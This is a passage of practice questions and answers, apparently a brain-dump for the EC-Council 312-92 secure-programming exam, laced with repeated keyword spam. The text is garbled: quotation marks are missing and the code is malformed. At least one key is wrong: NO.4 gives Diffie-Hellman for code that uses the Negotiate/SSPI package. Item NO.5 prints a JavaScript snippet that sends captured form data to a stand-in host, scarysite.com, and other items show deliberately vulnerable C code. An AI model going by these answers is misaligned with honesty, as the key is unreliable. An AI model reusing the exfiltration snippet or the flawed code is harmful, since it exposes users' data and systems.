printf( number (%p) is equal to %d\n ,
&value, value);
}
What could David change, add, or delete to make this code more secure?
A. Change putchar( \n ) to putchar( %s , \n )
B. Change printf(argv[1]) to printf( %s , argv[1])
C. Change printf(argv[1]) to printf(constv [0])
D. Change int number = 5 to const number =
Answer: B

EC-COUNCIL   312-92   312-92   certification 312-92   312-92

NO.3 Devon is an applications developer that just got back from a conference on how to correctly write code.
Devon has a number of programs he has written that access data across WAN links, so he is particularly
concerned about their security. Devon writes a script in C++ to check the security of the programs running
on his internal servers. What will the following code from Devon s script accomplish?
#include <iostream>
#include <socket.cpp>
#include <util.h>
using namespace std;
bool tryPort(int p);
string target("");
int main(int argC, char *argV[])
{
printf("PlagueZ port scanner 0.1\n");
int startPort = getInt("start Port: ");
int endPort = getInt("end Port: ");
target = getString("Host: ");
printf("[Processing port %d to %d]\n",
startPort, endPort);
for(int i=0; i<endPort; i++)
{
printf("[Trying port: %d]\n", i);
if(tryPort(i)) // port open
printf("[Port %d is open]\n", i);
}
printf("------Scan Finished-------\n");
system("pause");
return 0;
}
bool tryPort(int p)
{
SocketClient *scan;
try
{
scan = new SocketClient(target, p);
}
catch(int e) { delete &scan; return
false; }
delete &scan;
return true;
}
A. Scan the perimeter firewall for DoS vulnerabilities
B. Create socket connections to the remote sites to check their security
C. Close off any ports used by malicious code
D. Scan for open ports
Answer: D

EC-COUNCIL   312-92   certification 312-92   312-92

NO.4 What security package is implemented with the following code.?
dwStatus = DsMakSpn
(
ldap ,
MyServer.Mydomain.com ,
NULL,
0,
NULL,
&pcSpnLength,
pszSpn
);
rpcStatus = RpcServerRegisterAuthInfo
(
psz
RPC_C_AUTHN_GSS_NEGOTIATE,
NULL,
NULL
);
A. Diffie-Hellman encryption
B. Repurposing
C. SSPI
D. SMDT
Answer: A

EC-COUNCIL examen   312-92 examen   312-92   312-92   certification 312-92

NO.5 Travis, a senior systems developer for YNY Services, received an email recently from an unknown
source. Instead of opening the email on his normal production machine, Travis decides to copy the email
to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and
discovers a link that is supposed to take him to http://scarysite.com. Travis decides to get back on his
production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring =
for(fld in this) {
obstring += fld + :
this[fld] + , ;
}
obstring += email:
+ x;
var req = new XMLHttpRequest();
req.open( GET , http://scarysite.com?obj=
+
escape(objString), true);
req.send(null);
}
</script>
A. URL obfuscation
B. XSS attack
C. JavaScript hijacking
D. URL tampering
Answer: C

EC-COUNCIL examen   312-92   312-92   312-92

NO.6 After learning from an external auditor that his code was susceptible to attack, George decided to
rewrite some of his code to look like the following. What is George preventing by changing the code?
public voif doContent(...) {
...
String s;
if ((s = getUsernameByID( userid )) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write( <br>Applicant:<u>
+ s +
</u> );
}
...
}
A. Query string manipulation
B. XSS attack
C. Cookie poisoning
D. SQL injection
Answer: B

certification EC-COUNCIL   312-92   certification 312-92   312-92

NO.7 Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha. The
developers in Kenny s company have just finished creating a 3D first person shooter game that will be
released to the market within the next couple of months. Kenny is trying to decide what type of license or
activation code structure they should use for the game to prevent piracy and protect their product. Kenny
decides to go with an approach that will allow each sold copy to be activated online up to five times
because he knows his users might have multiple PCs or might need to reinstall the product at some point.
What type of activation policy has Kenny decided to go with?
A. Loose license enforced
reasonable use
B. License terms enforced
fair use
C. Strict license terms enforced
D. Monitor only mode
Answer: A

EC-COUNCIL   312-92 examen   certification 312-92   312-92   312-92 examen

NO.8 Fred is planning on using the windows socket application ClientApp.exe program to create a client-side
application that his employees will use. This program will access backend programs from two different
remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default
settings, what port must he have the network engineer open in order for the application to communicate?
A. 21
B. 23
C. 25
D. 80
Answer: D

certification EC-COUNCIL   312-92   312-92 examen   312-92

NO.9 Wayne is a gaming software developer for a large video gaming company in Los Angeles. Wayne has
just completed developing a new action/adventure game for the company that is to be released soon. To
protect the company s copyright on the game, Wayne would like to incorporate a technology that will
restrict the use of the digital files by controlling access, altering, sharing, copying, printing, and saving.
What technology does Wayne want to use?
A. ARM
B. WRM
C. DRM
D. Diffusion
Answer: C

EC-COUNCIL   312-92 examen   312-92   312-92

NO.10 What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, normal output );
strcpy(input, argv[1]); printf( input at %p: %s\n , input, input);
printf( output at %p: %s\n , output, output);
printf( \n\n%s\n , output);
}
A. Stack buffer overflow
B. Heap overflow
C. Query string manipulation
D. Pointer Subterfuge
Answer: B

EC-COUNCIL   312-92   312-92 examen

NO.11 Processes having the CAP_NET_BIND_SERVICE
can listen on which ports?
A. Any TCP port over 1024
B. Any UDP port under 1024
C. Any TCP port under 1024
D. Any UDP port over 1024
Answer: C

certification EC-COUNCIL   312-92 examen   312-92   certification 312-92   312-92

NO.12 Steve is using the libcap library to create scripts for capturing and analyzing network traffic.
Steve has never used libcap before and is struggling with finding out the correct functions to use. Steve is
trying to pick the default network interface in his script and does not know which function to use. Which
function would he use to correctly choose the default interface in the script?
A. pcap_open_live
B. pcap_int_default
C. pcap_lookupdev
D. pcap_use_int
Answer: C

EC-COUNCIL examen   certification 312-92   312-92   312-92

NO.13 Harold is programming an application that needs to be incorporate data encryption. Harold decides to
utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2bit working registers.
What encryption algorithm has Harold decided to use?
A. Blowfish
B. RC5
C. RC4
D. RC6
Answer: D

EC-COUNCIL   312-92 examen   312-92

NO.14 John is creating a website using ASP. John s web pages will have a number of calculations, so he
decides to create an include file that the pages will call so he does not have to rewrite the formula
numerous times. John s website will be hosted by a server running IIS. John wants to ensure that the
include source code is not revealed when the pages are viewed, so he gives the include an .asp
extension.
When IIS processes the include file, which system file will be used to hide the include source code?
A. ASP.dll
B. Include.dll
C. IISASP.dll
D. IIS.dll
Answer: A

EC-COUNCIL examen   312-92 examen   312-92 examen   312-92

NO.15 Shayla is designing a web-based application that will pass data to and from a company extranet. This
data is very sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital
signature to protect the data. The digital signature she has chosen to use is based on the difficulty in
computing discrete logarithms. Which digital signature has she chosen?
A. Rabin
B. Diffie-Hellman
C. SA-PSS
D. ElGamal
Answer: D

EC-COUNCIL   312-92   certification 312-92

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